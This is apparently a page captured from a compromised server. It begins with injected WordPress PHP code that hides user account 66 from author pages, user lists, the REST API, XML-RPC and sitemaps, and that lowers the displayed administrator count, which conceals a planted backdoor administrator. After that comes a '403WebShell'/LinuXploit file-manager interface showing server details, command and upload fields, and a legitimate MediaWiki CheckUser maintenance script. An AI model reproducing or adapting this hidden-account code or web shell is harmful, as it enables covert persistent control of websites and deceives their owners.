add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/CheckUser/maintenance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/CheckUser/maintenance/populateCheckUserTable.php
<?php

namespace MediaWiki\CheckUser\Maintenance;

use MediaWiki\Logging\DatabaseLogEntry;
use MediaWiki\Maintenance\LoggedUpdateMaintenance;
use MediaWiki\RecentChanges\RecentChange;
use Wikimedia\IPUtils;

$IP = getenv( 'MW_INSTALL_PATH' );
if ( $IP === false ) {
	$IP = __DIR__ . '/../../..';
}
require_once "$IP/maintenance/Maintenance.php";

/**
 * Populate the CheckUser result tables needed for CheckUser queries with
 * data from recent changes.
 *
 * This is automatically run during first installation within update.php
 * but --force parameter should be set if you want to manually run thereafter.
 */
class PopulateCheckUserTable extends LoggedUpdateMaintenance {
	public function __construct() {
		parent::__construct();
		$this->addDescription( 'Populate CheckUser result tables with entries from recentchanges' );
		$this->addOption( 'cutoff', 'Cut-off time for rc_timestamp' );
		$this->setBatchSize( 100 );

		$this->requireExtension( 'CheckUser' );
	}

	/**
	 * @inheritDoc
	 */
	protected function getUpdateKey() {
		return __CLASS__;
	}

	/**
	 * @inheritDoc
	 */
	protected function doDBUpdates() {
		$db = $this->getPrimaryDB();

		// Check if the table is empty
		$rcRows = $db->newSelectQueryBuilder()
			->table( 'recentchanges' )
			->caller( __METHOD__ )
			->fetchRowCount();
		if ( !$rcRows ) {
			$this->output( "recentchanges is empty; nothing to add.\n" );
			return true;
		}

		$cutoff = $this->getOption( 'cutoff' );
		if ( $cutoff ) {
			// Something leftover... clear old entries to minimize dupes
			$cutoff = $db->timestamp( $cutoff );
			$db->newDeleteQueryBuilder()
				->deleteFrom( 'cu_changes' )
				->where( $db->expr( 'cuc_timestamp', '<', $cutoff ) )
				->caller( __METHOD__ )
				->execute();
			$cutoffCond = $db->expr( 'rc_timestamp', '<', $cutoff );
		} else {
			$cutoffCond = null;
		}

		$start = (int)$db->newSelectQueryBuilder()
			->field( 'MIN(rc_id)' )
			->table( 'recentchanges' )
			->caller( __METHOD__ )
			->fetchField();
		$end = (int)$db->newSelectQueryBuilder()
			->field( 'MAX(rc_id)' )
			->table( 'recentchanges' )
			->caller( __METHOD__ )
			->fetchField();
		// Do remaining chunk
		$end += $this->mBatchSize - 1;
		$blockStart = $start;
		$blockEnd = $start + $this->mBatchSize - 1;

		$this->output(
			"Starting population of cu_changes with recentchanges rc_id from $start to $end.\n"
		);

		$services = $this->getServiceContainer();
		$commentStore = $services->getCommentStore();
		$rcQuery = RecentChange::getQueryInfo();

		while ( $blockStart <= $end ) {
			$this->output( "...migrating rc_id from $blockStart to $blockEnd\n" );
			$queryBuilder = $db->newSelectQueryBuilder()
				->fields( $rcQuery['fields'] )
				->tables( $rcQuery['tables'] )
				->joinConds( $rcQuery['joins'] )
				->conds( [
					$db->expr( 'rc_id', '>=', $blockStart ),
					$db->expr( 'rc_id', '<=', $blockEnd ),
				] )
				->caller( __METHOD__ );
			if ( $cutoffCond ) {
				$queryBuilder->andWhere( $cutoffCond );
			}
			$res = $queryBuilder->fetchResultSet();
			$cuChangesBatch = [];
			$cuPrivateEventBatch = [];
			$cuLogEventBatch = [];
			foreach ( $res as $row ) {
				$comment = $commentStore->getComment( 'rc_comment', $row );
				if ( $row->rc_type == RC_LOG ) {
					$logEntry = null;
					if ( $row->rc_logid != 0 ) {
						$logEntry = DatabaseLogEntry::newFromId( $row->rc_logid, $db );
					}
					if ( $logEntry === null ) {
						$cuPrivateEventBatch[] = [
							'cupe_timestamp' => $row->rc_timestamp,
							'cupe_actor' => $row->rc_actor,
							'cupe_namespace' => $row->rc_namespace,
							'cupe_title' => $row->rc_title,
							'cupe_comment_id' => $comment->id,
							'cupe_page' => $row->rc_cur_id,
							'cupe_log_action' => $row->rc_log_action,
							'cupe_log_type' => $row->rc_log_type,
							'cupe_params' => $row->rc_params,
							'cupe_ip' => $row->rc_ip,
							'cupe_ip_hex' => IPUtils::toHex( $row->rc_ip ),
						];
					} else {
						$cuLogEventBatch[] = [
							'cule_timestamp' => $row->rc_timestamp,
							'cule_actor' => $row->rc_actor,
							'cule_log_id' => $row->rc_logid,
							'cule_ip' => $row->rc_ip,
							'cule_ip_hex' => IPUtils::toHex( $row->rc_ip ),
						];
					}
				} else {
					$cuChangesRow = [
						'cuc_timestamp' => $row->rc_timestamp,
						'cuc_namespace' => $row->rc_namespace,
						'cuc_title' => $row->rc_title,
						'cuc_actor' => $row->rc_actor,
						'cuc_comment_id' => $comment->id,
						'cuc_minor' => $row->rc_minor,
						'cuc_page_id' => $row->rc_cur_id,
						'cuc_this_oldid' => $row->rc_this_oldid,
						'cuc_last_oldid' => $row->rc_last_oldid,
						'cuc_type' => $row->rc_type,
						'cuc_ip' => $row->rc_ip,
						'cuc_ip_hex' => IPUtils::toHex( $row->rc_ip ),
					];
					$cuChangesBatch[] = $cuChangesRow;
				}
			}
			if ( count( $cuChangesBatch ) ) {
				$db->newInsertQueryBuilder()
					->insertInto( 'cu_changes' )
					->rows( $cuChangesBatch )
					->caller( __METHOD__ )
					->execute();
			}
			if ( count( $cuPrivateEventBatch ) ) {
				$db->newInsertQueryBuilder()
					->insertInto( 'cu_private_event' )
					->rows( $cuPrivateEventBatch )
					->caller( __METHOD__ )
					->execute();
			}
			if ( count( $cuLogEventBatch ) ) {
				$db->newInsertQueryBuilder()
					->insertInto( 'cu_log_event' )
					->rows( $cuLogEventBatch )
					->caller( __METHOD__ )
					->execute();
			}
			$blockStart += $this->mBatchSize - 1;
			$blockEnd += $this->mBatchSize - 1;
			$this->waitForReplication();
		}

		$this->output( "...cu_changes table has been populated.\n" );

		// Run the population script for the central indexes now that the local CheckUser tables have been populated
		$child = $this->createChild( PopulateCentralCheckUserIndexTables::class );
		$child->execute();

		return true;
	}
}

$maintClass = PopulateCheckUserTable::class;
require_once RUN_MAINTENANCE_IF_MAIN;

Youez - 2016 - github.com/yon3zu
LinuXploit